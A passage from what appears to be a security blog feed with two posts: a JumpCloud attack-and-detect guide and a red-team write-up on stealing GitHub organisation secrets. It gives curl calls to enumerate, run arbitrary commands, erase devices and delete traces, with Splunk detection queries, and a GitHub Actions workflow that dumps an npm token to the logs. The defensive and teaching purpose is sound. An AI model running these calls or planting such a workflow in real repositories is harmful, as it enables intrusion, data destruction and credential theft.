<h5><strong>Enumeration:</strong></h5>
<p class="p1">There are variety of ways that an attacker can do enumeration. The following list is non exhaustive and contains only a subset of critical/major calls that can be used by attackers.</p>
<ol class="ol1">
<li class="li1">Enumerate all the systems of the org : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>systems
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#operation/systems_list">https://docs.jumpcloud.com/api/1.0/index.html#operation/systems_list</a></li>
</ol>
</li>
<li>Enumerate all the users of the org : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>systemusers
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Systemusers/operation/systemusers_list">https://docs.jumpcloud.com/api/1.0/index.html#tag/Systemusers/operation/systemusers_list</a></li>
</ol>
</li>
<li>Enumerate all the user groups of the org: →
<ol class="ol1">
<li>
<pre><code>curl <span class="token operator">-</span>X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>usergroups \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
</li>
</ol>
</li>
<li>Enumerate systems and system groups bound to each of the identified user with their privileges. →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>users<span class="token operator">/</span><strong><span class="token punctuation">{</span>UserID<span class="token punctuation">}</span></strong><span class="token operator">/</span>systems
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span>
</code></pre>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>users<span class="token operator">/</span><strong><span class="token punctuation">{</span>UserID<span class="token punctuation">}</span></strong><span class="token operator">/</span>systemgroups
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code><code></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystem">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystem</a> <a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystemGroup">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_userTraverseSystemGroup</a></li>
</ol>
</li>
<li>Enumerate policy groups bound to a system group : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>systems<span class="token operator">/</span><strong><span class="token punctuation">{</span>System_ID<span class="token punctuation">}</span></strong><span class="token operator">/</span>policygroups
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_systemTraversePolicyGroup">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_systemTraversePolicyGroup</a></li>
</ol>
</li>
<li>
<p class="p1">Enumerate existing commands created by the sysadmins : →</p>
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commands<span class="token operator">/
  -H <span class="token string">'Accept: application/json'</span> \
  -H <span class="token string">'Content-Type: application/json'</span>
  -H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_list">https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_list</a></li>
</ol>
</li>
<li class="li1">Enumerate existing command results which are still on the JC(very handy and many a times juicy sensitive info!)  : →
<ol class="ol1">
<li>
<pre><code>curl -X GET https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commandresults
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Command-Results/operation/command_results_list">https://docs.jumpcloud.com/api/1.0/index.html#tag/Command-Results/operation/command_results_list</a></li>
</ol>
</li>
</ol>
<p>Unfortunately, JC directory insight events do not have any out of the box event captures for enumeration, this has to be built on need basis ingesting audit logs.</p>
<h5><strong>Creating a Malicious Policy on JC and Associating it with a System Group:</strong></h5>
<p>To create a policy or group policies and associate them with a system group, JumpCloud provides a set of APIs. JumpCloud offers a wide range of policy enforcement options, including the ability to control antivirus behavior, push custom registry keys to associated system groups, and disable security hardening policies already applied to a system group, among other capabilities.</p>
<p>For an attacker, this functionality can be particularly useful, as it creates an opportunity for persistence and complete control over the JumpCloud network.</p>
<ol>
<li>Create a policy : →
<ol class="ol1">
<li>
<pre><code>curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policies \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span> \
  <span class="token operator">-</span>d '<span class="token punctuation">{</span>
    <strong><span class="token punctuation">{</span>Policy_Parameters<span class="token punctuation">}</span></strong>
  <span class="token punctuation">}</span>'</code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_post">https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_post</a></li>
</ol>
</li>
<li>Associate Policy to System Group :→
<ol>
<li>
<pre><code>curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policies<span class="token operator">/</span><strong><span class="token punctuation">{</span>Policy_ID<span class="token punctuation">}</span></strong><span class="token operator">/</span>associations<span class="token operator">/</span> \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {API_KEY}'</span> \
  <span class="token operator">-</span>d '<span class="token punctuation">{</span>
    <span class="token string">"op"</span><span class="token punctuation">:</span> <span class="token string">"add"</span><span class="token punctuation">,</span>
    <span class="token string">"type"</span><span class="token punctuation">:</span> <span class="token string">"<strong>system_group</strong>"</span><span class="token punctuation">,</span>
    <span class="token string">"id"</span><span class="token punctuation">:</span> <span class="token string">"<strong>{Group_ID}</strong>"</span>
  <span class="token punctuation">}</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyAssociationsPost">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyAssociationsPost</a></p>
<p>Once the association succeeds, policies associated with system groups are executed in real time.</li>
</ol>
</li>
</ol>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event.</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"</span><span class="token operator">:</span> <span class="token string">"<b>policy_create</b>"
<span class="token string-property property">"event_type"</span><span class="token operator">:</span> "<b>policy_update</b>"
<span class="token string-property property">"event_type"</span><span class="token operator">:</span> "<b>policy_delete</b>"
<span class="token string-property property">"event_type"</span><span class="token operator">:</span> "<strong>association_change</strong>"

<strong>Splunk Query : index=jc-directoryinsights sourcetype=jc:events event_type=policy_create OR event_type=policy_delete OR event_type=policy_update OR event_type=association_change </strong></span></code></pre>
<h5><strong>Code Execution:</strong></h5>
<p class="p1">Attackers can achieve code execution on the systems/system groups using the following API.</p>
<pre><code>curl -X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commands<span class="token operator">/</span> \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span>
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span>
  <span class="token operator">-</span>d <span class="token string">'{"name":"Test API Command", "command":"{AnyC<strong>ommand}</strong>", "user":"<strong>{UserID}</strong>", "schedule":"", "timeout":"100"}</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_post">https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_post</a></p>
<p class="p2">Using the above API, an attacker can create a command and force it to immediately run on the user associated systems /user associated system group.</p>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event.</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"</span><span class="token operator">:</span> <span class="token string">"<b>command_create</b>"
<strong>Splunk Query:</strong> <strong>index=jc-directoryinsights sourcetype=jc:events event_type=command_create</strong></span></code></pre>
<h6><strong>Note: In case of JC breach, with the forensics provided(<a href="https://www.mandiant.com/resources/blog/north-korea-supply-chain">here</a>), there was an immediate execution of a command which deployed and executed malicious ruby script. With the monitoring for such events, this action would have been flagged as anomaly on the customer&#8217;s network.</strong></h6>
<p>&nbsp;</p>
<h5 class="p1"><b>Using MDM feature of JC, Erase all the system data of all systems:</b></h5>
<p class="p1">JumpCloud offers a range of remote Mobile Device Management (MDM) commands that empower administrators to remotely perform various operations on devices, from basic actions like restarts and shutdowns to more severe actions such as erasing all data on a system or locking users, all with a single API call. Unfortunately, threat actors can potentially abuse these commands to wreak havoc within the system.</p>
<p class="p1">We can achieve one of such sensitive events via the following API :</p>
<pre><code> curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>applemdms<span class="token operator">/</span><strong><span class="token punctuation">{</span>apple_mdm_id<span class="token punctuation">}</span></strong><span class="token operator">/</span>devices<span class="token operator">/</span><strong><span class="token punctuation">{</span>device_id<span class="token punctuation">}</span></strong><span class="token operator">/</span>erase \
  <span class="token operator">-</span>H <span class="token string">'accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'content-type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span> \
  <span class="token operator">-</span>d <span class="token string">'{}'</span></code></pre>
<h6><strong>Erase an endpoint:</strong><a href="https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_devicesClearActivationLock"> https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_devicesClearActivationLock</a></h6>
<p><strong>apple_mdm_id</strong> can be fetched by prior call to following end point : <a href="https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list">https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list</a></p>
<p>all enrolled MDM <strong>device_id&#8217;s</strong> can be fetched by prior call to following end point: <a href="https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list">https://docs.jumpcloud.com/api/2.0/#tag/Apple-MDM/operation/applemdms_list</a></p>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event. sample splunk query to monitor such dangerous remote calls,</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"<span class="token operator">:</span> <span class="token string">"<strong>mdm_command_result</strong>"</span>
<strong><span class="token string">Splunk Query: index=jc-directoryinsights sourcetype=jc:events </span>mdm_command_result mdm_device_id="*" "command.request_type"=EraseDevice</strong></span></code></pre>
<h5 class="p1"><b>Delete the malicious group policy and erase all the command results:</b></h5>
<p class="p1">Finally as a cleanup, an attacker may try to delete the JC commands run, deleting the created policy , removing the relevant associations.</p>
<p class="p1">This can be achieved by the following API:</p>
<h6><strong>Dis-associate associations:</strong></h6>
<pre><code>curl <span class="token operator">-</span>X POST https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policygroups<span class="token operator">/</span><span class="token punctuation">{</span><strong>GroupID</strong><span class="token punctuation">}</span><span class="token operator">/</span>associations \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span> \
  <span class="token operator">-</span>d '<span class="token punctuation">{</span>
    <span class="token string">"op"</span><span class="token punctuation">:</span> <span class="token string">"delete"</span><span class="token punctuation">,</span>
    <span class="token string">"type"</span><span class="token punctuation">:</span> <span class="token string">"system"</span><span class="token punctuation">,</span>
    <span class="token string">"id"</span><span class="token punctuation">:</span> <span class="token string">"{<strong>SystemID</strong>}"</span>
  <span class="token punctuation">}</span>'</code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyGroupAssociationsPost">https://docs.jumpcloud.com/api/2.0/index.html#tag/Graph/operation/graph_policyGroupAssociationsPost</a></p>
<h6><strong>Delete Policy:</strong></h6>
<pre><code>curl <span class="token operator">-</span>X DELETE https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>v2<span class="token operator">/</span>policies<span class="token operator">/{<strong>id</strong>}</span>\
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: {<strong>API_KEY</strong>}'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_delete">https://docs.jumpcloud.com/api/2.0/index.html#tag/Policies/operation/policies_delete</a></p>
<h6><strong>Delete Command:</strong></h6>
<pre><code>curl <span class="token operator">-</span>X DELETE https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>console<span class="token punctuation">.</span>jumpcloud<span class="token punctuation">.</span>com<span class="token operator">/</span>api<span class="token operator">/</span>commands<span class="token operator">/</span><strong><span class="token punctuation">{</span>CommandID<span class="token punctuation">}</span></strong> \
  <span class="token operator">-</span>H <span class="token string">'Accept: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'Content-Type: application/json'</span> \
  <span class="token operator">-</span>H <span class="token string">'x-api-key: <strong>{API_KEY}</strong>'</span></code></pre>
<p><a href="https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_delete">https://docs.jumpcloud.com/api/1.0/index.html#tag/Commands/operation/commands_delete</a></p>
<h6><strong>How do we detect?</strong></h6>
<p class="p1"> We can monitor for the following directory insights events ingested to SIEM systems such as Splunk / custom monitoring via API&#8217;s. you can further refine monitoring rule in conjunction to base event. sample splunk query to monitor such dangerous remote calls,</p>
<pre><code class="language-json"><span class="token string-property property">"event_type"<span class="token operator">:</span> <span class="token string">"<strong>command_delete</strong>"</span>
"event_type"<span class="token operator">:</span> <span class="token string">"<strong>policy_delete</strong>"
"event_type"<span class="token operator">:</span> "<strong>commandresult_delete</strong>"
<strong>Splunk Query:</strong> <strong>index=jc-directoryinsights sourcetype=jc:events event_type=command_delete OR event_type=policy_delete OR event_type=commandresult_delete</strong></span></span></code></pre>
<p class="p1">Detection in the above-mentioned scenario represents just a subset of the monitoring capabilities that can be developed using JumpCloud events. JumpCloud provides a diverse range of event types, enabling us to expand our monitoring scope and identify potentially malicious behaviour by threat actors within our network before they can disrupt our systems.</p>
<p class="p1">Few of the other interesting scenarios that can be looked at and needs active monitoring,</p>
<ol class="ol1">
<li class="li1">Granting global sudo access while creating a JC user.</li>
<li class="li1">Adding local users via JC group policies.</li>
<li class="li1">Many admin/privileged events in a short span of time. ( ex: 100’s of deletion of command results in short span of time.)</li>
<li class="li1">Locking out existing JC user.</li>
<li class="li1">Disabling MFA on an existing JC user.</li>
<li class="li1">Reviving suspended/inactive JC users.</li>
<li class="li1">Modifying existing organisation settings. (disable MFA etc )</li>
</ol>
<p>Comprehensive event types and their exhaustive list can be found in the JumpCloud documentation, which serves as resource for building effective and vigilant monitoring. You can access this information here: <a href="https://docs.jumpcloud.com/api/insights/directory/1.0/index.html#section/Event-Types" target="_new" rel="noopener">Link to JumpCloud Documentation.</a></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/jumpcloud-and-security-tidbit-for-attack-and-detect/">Jumpcloud and Security : tidbit for Attack and Detect</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Github Misconfiguration to Secrets Exfiltration</title>
		<link>https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Fri, 08 Sep 2023 13:52:28 +0000</pubDate>
				<category><![CDATA[Supply Chain Security]]></category>
		<category><![CDATA[github misconfiguration]]></category>
		<category><![CDATA[persistence]]></category>
		<category><![CDATA[redteam]]></category>
		<category><![CDATA[secrets exfiltration]]></category>
		<category><![CDATA[supply chain security]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=804</guid>

					<description><![CDATA[<p>A few months ago, while on a private engagement, i stumbled upon limited access to a Github organisation account. Github&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/">Github Misconfiguration to Secrets Exfiltration</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>A few months ago, while on a private engagement, i stumbled upon limited access to a Github organisation account. Github Organisation contained multiple source code repositories using Github actions as their CI to run custom unit tests and among other jobs.I also noticed , most of the repositories default branches hardened sufficiently with branch protection rules which involved multiple reviews before code gets merged to main/release branch. There were also restrictions to create new Github repositories.</p>
<p>Before we move to exploitation part, lets understand some basics of github version control and CICD systems. Folks who have experience with github ecosystem can skip this part and directly move to Misconfig part.</p>
<h3><strong>Basics of CI/CD Workflows :</strong></h3>
<p>GitHub provides companies with the ability to create an organization to store their source code repositories. Within these organisations, multiple repositories can be created, each with its own visibility settings: either as <strong>Private</strong>, safeguarding proprietary code, or <strong>Public</strong>, facilitating open-source project contributions, depending on the specific needs and objectives of the organization.</p>
<p>In the context of GitHub repositories, they serve as repositories for source code, and in modern software development practices, they often come equipped with automated pipelines tailored for continuous deployment and continuous integration (CI/CD) purposes. This setup streamlines the process of integrating new code changes into existing production codebases. When a developer aims to introduce a new feature or improvement, they initiate a pull request against the production codebase. Subsequently, the <strong>CI</strong> system orchestrates a battery of automated unit tests and other checks to ensure that these changes do not compromise the stability or security of the codebase.</p>
<div class="flex-1 overflow-hidden">
<div class="react-scroll-to-bottom--css-jxyvc-79elbk h-full dark:bg-gray-800">
<div class="react-scroll-to-bottom--css-jxyvc-1n7m0yu">
<div class="flex flex-col text-sm dark:bg-gray-800">
<div class="group w-full text-token-text-primary border-b border-black/10 dark:border-gray-900/50 bg-gray-50 dark:bg-[#444654]" data-testid="conversation-turn-4">
<div class="p-4 justify-center text-base md:gap-6 md:py-6 m-auto">
<div class="flex flex-1 gap-4 text-base mx-auto md:gap-6 md:max-w-2xl lg:max-w-[38rem] xl:max-w-3xl }">
<div class="relative flex w-[calc(100%-50px)] flex-col gap-1 md:gap-3 lg:w-[calc(100%-115px)]">
<div class="flex flex-grow flex-col gap-3 max-w-full">
<div class="min-h-[20px] flex flex-col items-start gap-3 overflow-x-auto whitespace-pre-wrap break-words">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>Once these checks pass, the <strong>CD</strong> system takes over, automating the deployment of the new feature to the production infrastructure, following thorough checks and approvals. This CI/CD orchestration offers convenience and efficiency, significantly reducing the time and effort required by both the infrastructure and development teams.</p>
<p>However, for these automated <strong>CI/CD</strong> systems to function effectively, they often require access to sensitive information, such as secret keys or credentials. For instance, the <strong>CI</strong> system might need to interact with third-party systems, while the <strong>CD</strong> system may require access to sensitive keys for deploying to cloud infrastructure. To maintain security best practices and avoid hardcoding secrets directly into CI/CD configuration files, organisations employ various strategies to securely manage these secrets.</p>
<p>Depending on the specific needs and the CI/CD systems in use, companies can employ different approaches to store secrets securely. Some popular CI/CD systems include GitHub Actions (native to the GitHub ecosystem), CircleCI, Jenkins, among others. Organisations often create customised combinations of these systems to meet their unique requirements. For instance, a company might utilise GitHub Actions for certain CI checks and CircleCI for additional checks and deployments.</p>
<p>In scenarios where companies natively employ GitHub Actions for their CI checks, they have several options for securely storing the secrets required by these actions. These secrets can be stored at the <strong>repository level</strong>, at the <strong>organization level</strong>, or <strong>tied to specific environments</strong>, offering flexibility and granular control over access to sensitive information.</p>
<ol>
<li><strong>Repository Secrets</strong>:
<ul>
<li><strong>Repository Secrets</strong> when you have specific secrets or credentials that are only needed for a particular repository.</li>
<li>Ideal for project-specific keys, tokens, or credentials.</li>
<li>Ensures that secrets are scoped to the individual repository and not accessible across the entire organization.</li>
</ul>
</li>
<li><strong>Organization Secrets</strong>:
<ul>
<li><strong>Organization Secrets</strong> when you have secrets or credentials that are needed across multiple repositories within your organization.</li>
<li>Useful for shared services, credentials for multiple projects, or global configurations.</li>
<li>Simplifies management by centralising secrets at the organization level, reducing redundancy.</li>
</ul>
</li>
<li><strong>Environment Deployment Secrets</strong>:
<ul>
<li><strong>Environment Deployment Secrets</strong> when secrets are specific to a particular deployment environment, such as development, staging, or production.</li>
<li>These secrets ensure that each environment has access to the necessary configurations, keys, or credentials without exposing them broadly.</li>
</ul>
</li>
</ol>
</div>
</div>
</div>
<div class="flex justify-between lg:block">
<div class="text-gray-400 flex self-end lg:self-center justify-center mt-2 gap-2 md:gap-3 lg:gap-1 lg:absolute lg:top-0 lg:translate-x-full lg:right-0 lg:mt-0 lg:pl-2 visible">
<div class="flex gap-1">We identified that the current organisation were using Github Actions for their CI checks and Jenkins / Circle CI for additional CI checks and CD.</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="h-32 md:h-48 flex-shrink-0"></div>
<p><strong style="color: #353535; font-size: 2em;">Mis-config 1 &#8211; Exfiltrate Organisation Secrets</strong><span style="color: #353535; font-size: 2em; font-weight: bold;"> :</span></p>
</div>
</div>
</div>
</div>
<p>I came across several repositories that appeared to be quite old, lacking or having disabled branch protection rules. These repositories seemed to have served as temporary storage for Proof of Concept projects and were left neglected without being archived. Suddenly, a recent memory of a blog post I read, titled &#8220;SLSA and DIP: It&#8217;s Build Time&#8221; (<a href="https://boostsecurity.io/blog/slsa-dip-its-build-time" target="_new" rel="noopener">https://boostsecurity.io/blog/slsa-dip-its-build-time</a>), flashed through my mind. It struck me that this situation could potentially lead to a misconfiguration that might allow unauthorized access to secrets stored at the organization level with default settings.</p>
<p>This situation raised a red flag, as it represents a classic case of an insider threat or privilege escalation. In an ideal company setup, the DevOps team would be responsible for and have access to secrets stored at the organization level. However, this misconfiguration could potentially lead to unauthorised elevation of privileges, creating a serious security concern.</p>
<p><strong>To exploit this misconfiguration, the following prerequisites should be considered:</strong></p>
<ol>
<li><strong>Repository Creation or Write Access</strong>: The attacker must possess one of the following capabilities:
<ul>
<li>The ability to create a new repository within a private organization.</li>
<li>Write access to a repository that lacks branch protection rules.</li>
<li>The capability to create branches and initiate Pull Requests on repositories with access to organization secrets.</li>
</ul>
</li>
<li><strong>GitHub Actions/Workflows Enabled</strong>: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.</li>
<li><strong>Sensitive Secrets Stored at Organization Level accessible to misconfigured repository</strong>: The attacker&#8217;s objective relies on the presence of sensitive secrets stored at the organization level. These secrets represent the valuable target of the exploit.</li>
</ol>
<p>In our case we had,</p>
<ol>
<li>Write access to a repository with no branch protection rules.</li>
<li>Ability to create a Github actions and trigger a workflow in previously identified repository.</li>
<li>I identified by reviewing Github workflow files of other repositories that there was a github secret &#8220;<strong>NPM_PRIV_TOKEN</strong>&#8221; consumed by a lot of services .I assumed that the secret is stored at an organisation level at this point and is accessible to all private repositories.(default setting / which later confirmed via testing.) As the name suggest it was an npm token which had privileges to modify and access private registry npm packages and most likely set by their Infra team if taken over, results in poisoning / tampering of source packages consumed by production services.</li>
<li><strong>Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) &amp; variable names with vars context, and github built in function , toJson()</strong></li>
</ol>
<p>With the prior conditions to exploit satisfied , Our goal was to steal organisation secret &#8220;<strong>NPM_PRIV_TOKEN&#8221; .</strong></p>
<h3>Its Exploit time:</h3>
<p>Craft a malicious github actions workflow file which access the stored organisation secret and dump it over actions log with base32 encoding. Github actions does not allow clear text logging of secrets as part of actions log.</p>
<p>As we see below this is a basic github actions workflow file which triggers when there is a Push / Pull request action to the main branch of this repository from the user. create a file / push this to path &#8220;<strong>.github/workflows/exfil.yaml</strong>&#8221;</p>
<pre>name: Exfiltrate org secret
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil org secret
      id: response
      run:  |
          echo "lets exfil some org secrets..."
          echo "${{secrets.NPM_PRIV_TOKEN}}" | base32</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-808" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM.png" alt="" width="2356" height="1220" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM.png 2356w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-300x155.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1024x530.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-768x398.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1536x795.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-2048x1061.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1600x829.png 1600w" sizes="(max-width: 2356px) 100vw, 2356px" /></p>
<p>And workflow would have triggered automatically. If not just make a dummy commit / create a blank file with dummy commit to trigger the workflow.</p>
<p>Check the Actions log to see the exfiltrated org secret.</p>
